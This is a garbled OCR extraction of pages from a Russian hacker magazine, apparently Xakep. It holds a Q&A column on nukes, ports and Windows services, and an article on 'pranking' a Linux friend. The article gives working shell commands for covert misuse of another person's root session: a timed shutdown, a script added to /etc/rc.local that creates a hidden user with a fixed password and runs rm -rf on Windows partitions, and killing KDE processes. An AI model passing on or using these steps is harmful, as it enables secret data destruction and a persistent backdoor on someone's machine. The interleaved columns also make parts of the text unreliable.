Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
16.06 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<???>Скажи, плиз,

 

<???>Дарова. Я вот

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно ли какой-то

 

тут на досуге думал,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

спамер загрузить,

 

êàê æå âñå-òàêè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

например, на сайт на

 

работают эти нюки?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

народе, чтобы он

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отсылал письма, по

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

предварительному

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

запрограммированию?

Н: Все очень банально. Каждый сервер (я имею

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ввиду программный) предназначен для выполнения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

определенных команд. Представим себе FTP сер-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вер, он может выполнять такие команды, как DIR,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LS, GET и так далее. Очень часто программеры ле-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Н: Для этого подойдет любой скрипт для отправки

нятся проверять правильность команд (я сам такой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

почты и любой хостинг, поддерживающий скрипты.

:)). Они почему-то думают, что команды будут обя-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зательно посылаться правильно. Поэтому, если по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

слать какую-нибудь неправильную последователь-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Эти вопросы меня уже

ность, сервер может вылететь и даже повесить ОС.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хорошо, когда такие последовательности вычисля-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

достали

ются из-за ламерства юзеров. Хуже, когда их нахо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дят хакеры, тогда они пишут нюк, который будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Я понимаю, что у нас постоянно появля-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

посылать неправильные данные на сервант.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ются новые читатели, кто-то читает не ре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гулярно, но все же отвечать на одни и те

 

<???>À åñòü ëè â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

же вопросы очень тяжело. Поэтому я уже

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

полгода как создал на своем сайте

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.cydsoft.com/vr-online раздел “Боль-

 

окнах демоны?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шой FAQ”, где я выкладываю все вопросы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и ответы, опубликованные в Х в прошлом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

году. Прежде чем задавать мне вопрос,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

посмотри, может на сайте уже есть ответ.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<???> Объясни, что такое порты (как

Н: У меня в связи с таким вопросом возникла в голо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

я понял, на каждое dial-up соединение

ве одна история. Не знаю, правда это или нет, но

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

открыты все порты... но как можно засы-

слушай:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лать что-то через них, еще не понял), ко

Приходит поп в компьютерную фирму и просит уста-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мне лезут через 139 порт, можно ли за-

новить для его церкви ХХ компьютеров. Его спраши-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крыть порты, которые не задействованы,

вают: “Какую ОС поставить, Windows или Unix?”. На

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и где в виндозе можно отключить уда-

это бедный поп отвечает: “Побойтесь Бога, никаких

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ленное управление компом.

unix, там же демоны водятся” :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Н: Я полтора года веду рубрику и уже па-

Вот так вот. На самом деле, в окнах тоже есть демо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ру раз точно отвечал на подобные вопро-

ны, просто их дядя Билл назвал сервисами. Наверно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сы. Порты это как бы виртуальный канал.

он побоялся гнева божьего, а может быть, просто ре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Каждая сетевая программа при старте от-

шил угодить церкви :). Но это его проблемы. Мы же

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крывает для себя любой свободный порт.

знаем, что демон - это простая программа, которая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Есть и зарезервированные типа FTP - это

выполняется в фоне (ее чаще всего даже и не видно)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

21-é ïîðò, HTTP - ýòî 80 ïîðò è ò.ä. Òå-

и реагирует на разные события. Есть сетевые демо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

перь представим ситуацию, что на серве-

ны (реагируют на сетевые подключения и запросы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ре запущено два сервиса: FTP и WEB. Это

юзеров), а есть и простые, обслуживающие работу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

значит, что на сервере работают две про-

компьютера (например, демоны печати). Ничего об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

граммы, к которым можно коннектиться.

щего с нечистой силой тут нет, и в окнах ту же самую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь ты хочешь присоединиться к FTP

функцию выполняют сервисы. Вот как раз в Windows

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

серверу и посылаешь запрос по адресу

сервисам больше подходит название демонов, пото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХХХ.ХХХ.ХХХ.ХХХ и на порт 21. Сервер по-

му что они тихо сидят и подвешивают твою систему

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лучает такой запрос и по номеру порта

как настоящая нечистая сила :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

определяет, что твой запрос относится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

именно к FTP серверу, а не WEB.

 

<???>Как узнать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так что сетевые порты - это что-то вир-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

туальное, что увидеть невозможно. Если

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бы не было портов, то комп не смог бы

 

количество компов в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

определить, для кого именно пришел

 

ñåòè?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

твой запрос.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как закрыть порт? Ну, конечно же - за-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крыть прогу. За 139 порт отвечает прото-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кол NetBIOS. Если у тебя нет локалки, то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

просто отключи его. Если локалка есть, то

Н: Если ты сидишь в окнах, то посмотри в “Сете-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в свойствах соединения с Инетом убери

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

галочку с “Вход в сеть”. Потом войди в

вом окружении”. Но я надеюсь, что ты сидишь в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойства сети (кликнуть правой кнопкой по

Linux, поэтому и задаешь этот вопрос. Там можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

“Сетевое окружение” и в меню выбрать

пропинговать диапазон адресов твоей сети и под-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойства). Здесь войди в свойства прото-

считать ответы. На мой взгляд, это самый простой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кола “TCP/IP - контроллер удаленного до-

и удобный способ, но это только на мой.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ступа” (или что-нибудь подобное). На за-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кладке “Привязка” убери галочку с “Служба

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

доступа к файлам и принтерам Microsoft”.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Кодинг

6 Hack-Faq

7 JoyStick

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

BUY NOW!

o

 

 

 

 

 

 

 

 

w

Западлостроениеto

w Click

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

ОТОРВИСЬ НАД ДРУГОМ-ЛИНУКСОИДОМ!

SHuRuP (http://nix.h1.ru)

Oторвись над другом-

-линуксоидом!

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

В связи с очень быстрым развитием OS Linux ежеминутно респятся новые юзеры этой замечательной операционной системы, следовательно шанс, что у тебя есть друг - начинающий_nix_гуру - возрастает до размеров последних ChangeLog'ов ядра линукса в битах, умноженных на количество найденных переполнений буфера во всевозможных приложениях для unix-like систем за последний месяц. Из всего этого логично будет, если этот твой друг юзает X-Windows+KDE и, безусловно, сидит под root'ом, а у тебя уже не однажды всплывала идея показать ему, где сисадмины зимуют...

1) halting system

Требуется: KDE + root + совсем немного времени.

Пока обладатель компа с загруженным пингвином под root идет варить пельмени, жмем <Ctrl>+<Tab>, вызываем терминал (если нет нигде похожей иконки, то смотрим в KDE меню -> Terminals -> XTerm) и набиваем shutdown -h X (лучше добавить в конце символ "&"), где X - время в минутах до начала выключения компьютера (постарайся сделать так, чтобы именно в этот момент линуксоид работал над чем-нибудь важным или играл в самую любимую гамесу, в которой нет сейвов ;), можно использовать и с другими ключа- ми (см. shutdown --help для хелпа), например, интересен ключ "r" - ребут системы. После проделанного западла необходимо спрятать окошко консоли и появившегося предупреждения aka broadcast message, если стоят миниатюрные окошки каждого дополнительного desktop'а в нижней панели. Теперь опять тыкаем <Ctrl>+<Tab> до возвращения в изначальный рабочий стол и, радостно потирая мышку о коврик, поджидаем жертву.

P.S. Если при попытке перегрузиться в другой десктоп ничего не получается, то кликай right-but- ton'ом хвостатого по рабочему столу, далее Configure Desktop -> Number of Desktops, устанавливаем еще парочку desktop'ов.

2) loading eleet scripts

Требуется: console/x-window + root + достаточное количество времени.

Эта фишка уже будет работать совсем не только в KDE... Ее идея: запугать неподготовленного пользователя странными действиями сразу после загрузки linux'а. Загружаем текстовый редактор и создаем файл /usr/bin/int (или что-нибудь похожее, его название не должно вызывать никаких подозрений), то есть, например, в консоли - emacs /usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или kwrite /usr/bin/int. В этот файл записываем примерно следующее:

#!/bin/sh

#первый скрипт, загрузка проца и создание объемного файла с результатами поиска по шаблону *.* в /main01

echo "* eleet script 01 coded by SHuRuP *" >/main01 && echo "trying to find *.*" >>/main01 && find / *.* -print 1>>/main01 2>/dev/null &

#второй скрипт, загрузка процессора и харда путем копирования различных библиотек

#создание юзера eleetuser с паролем 31337, создание логов в /main02

echo "* eleet script 02 coded by SHuRuP *" >/main02 && echo "trying to create user" >>/main02 && adduser -d /home/eleet -p 31337 eleetuser && echo "eleetuser has been successfully created"

>>/main02 &

mkdir /home/eleer/lib 2>/dev/null && echo "/home/eleet/lib has been successfully created" >>/main02 && cp -R /lib /home/eleet/lib 2>/dev/null && echo "libs from /lib has been successfully copied" >>/main02 &

mkdir /home/eleet/lib2 2>/dev/null && echo "/home/eleet/lib2 has been successfully created" >>/main02 && cp -R /usr/lib /home/eleet/lib2 2>/dev/null && echo "libs from /usr/lib has been successfully copied" >>/main02 &

#третий скрипт, попытка монтирования cd-rom'а и дискеты, логирование в /main03

echo "* eleet script 03 coded by SHuRuP *" >/main03 && echo "trying to mount devices" >>/main03 &

mount /mnt/cdrom 2>/dev/null & mount /mnt/floppy 2>/dev/null &

#четвертый скрипт, попытка удалить возможные каталоги с windows, логирование в /main04

echo "* eleet script 04 coded by SHuRuP *" >/main04 && echo "trying to remove windows" >>/main04 &

rm -rf /mnt/win 2>/dev/null &

rm -rf /mnt/windows 2>/dev/null & rm -rf /mnt/win_c 2>/dev/null & rm -rf /mnt/win_d 2>/dev/null &

70 Ньюсы 1 Феррум 2 PC_Zone 3 X-Стиль 4 Взлом

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

r

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Та-а-ак... кто этому сомнительному kdeinit разре-

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

BUY

#мессага, оповещающая об успешной загрузке

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

 

 

 

 

шал забивать наш процессор и оперативную па-

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

скрипта (исключительно для устрашения ;)

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

.

 

f-xchan

 

.c

 

 

 

 

 

мять какой-то фигней?? ;) Именно этой фигней мы

 

.

 

f-x chan

 

.c

 

 

 

p

d

e

 

 

 

 

 

 

 

 

p

d

e

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

echo "* eleet scripts v0.01pre-beta coded by

и займемся, ибо у нас и так каждый бит на счету!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SHuRuP loaded successfully! *"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А осталось нам только поубивать все то, что заво-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После сохранения такого файла надо поставить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

евало наименьший респект в наших сердцах.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

права на возможность его выполнения:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Смерть процесса наступает во время близкого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

chmod +x /usr/bin/int

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

контакта с командой kill -9 pid (или kill -KILL pid,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь остается немного подредактировать

где pid - идентификатор этого процесса). Теперь о

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/etc/rc.local, чтобы наше творчество выполнялось

результатах падений некоторых особей kdeinit'а:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

при каждой загрузке любимого пингвина. Для это-

dcopserver - погибает все, кроме окон, которые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

го достаточно написать в терминале:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

были открыты (полезно заметить, что

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

echo "/usr/bin/int" >>/etc/rc.local

<Ctrl>+<Tab>, <Alt>+<Tab> больше не в силе);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все! Отныне со следующим и последующими за-

kwin - пропадают "оболочки" всех окон так, что

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пусками пингвина будут создаваться файлы с ло-

нельзя закрыть ни одну такую программу ни с по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гами, начинать трещать хард, немного подгру-

мощью мышки (панелька с крестиком успешно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жаться процессор, монтироваться дискета и одно-

укатывается в /dev/null), ни с помощью клавы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

глазый, удаляться windows! ;)

 

(Alt+F4 также уезжает на каникулы);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P.S. Этот скрипт не будет в идеале выполняться

kdesktop - успешно умирают все иконки рабочего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

для разных машин, так как у каждого могут быть

стола;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свои директории монтирования виндов, сидюка и

kicker - исчезает нижняя панель с меню Kde а-ля

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

флоппи, да и вообще все предусмотреть невоз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"Пуск" (остается только KDE Keyboard Tool и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

можно, но по умолчанию обычно linux'ы настроены

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Klipper, если они вообще там когда-либо жили,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

именно так, и прикол рассчитан как раз на такой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

для их уничтожения припасен процесс kxkb, после

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

случай. Но если известно, куда и что примонтиро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

падения которого также перестает меняться рас-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вано (для этого достаточно выполнить команду:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кладка клавиатуры);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

cat /etc/fstab), то, лишь немного подправив

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

klipper - смерть Klipper'а;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

скрипт, можно смело идти в бой!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

kwrited - отлично подойдет для прикола #1, так

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как теперь после вызова shutdown'а не появится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

никакого сомнительного окошка с broadcast mes-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sage'ом и, соответственно, теперь не прокатит

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КДЕшная версия команды write.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ну что, оторвался над несчастным?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

:) Весело? Жди дальнейших прико-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лов. Х планирует продолжить такие

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

фишки. Удачи!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Подводим итоги выполнения eleet scripts..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3) x-hell

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Требуется: KDE + полминуты.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Наверное, тебе известно, что X-Window построен

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на процессах, а любой процесс может быть убит

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

=> по теореме SHuRuP'а получаем, что можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

убить часть процессов иксов, в результате чего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работа в них превратится в настоящий ад, что и

Последствия смерти kwin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

требовалось доказать (читай "чего мы и добива-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

емся"). Дождавшись удачного момента, не разду-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мывая, пишем "ps -x", после этого начинаем при-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стально разглядывать, что нам ответили - где-то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

будет что-нибудь вроде такого:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: klauncher

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: kded

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: kxkb

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: kxmlrpcd

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: Running...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: kwin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

xxx

 

 

?

S

0:00

kdeinit: kdesktop

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

...etc...

 

6 Hack-Faq

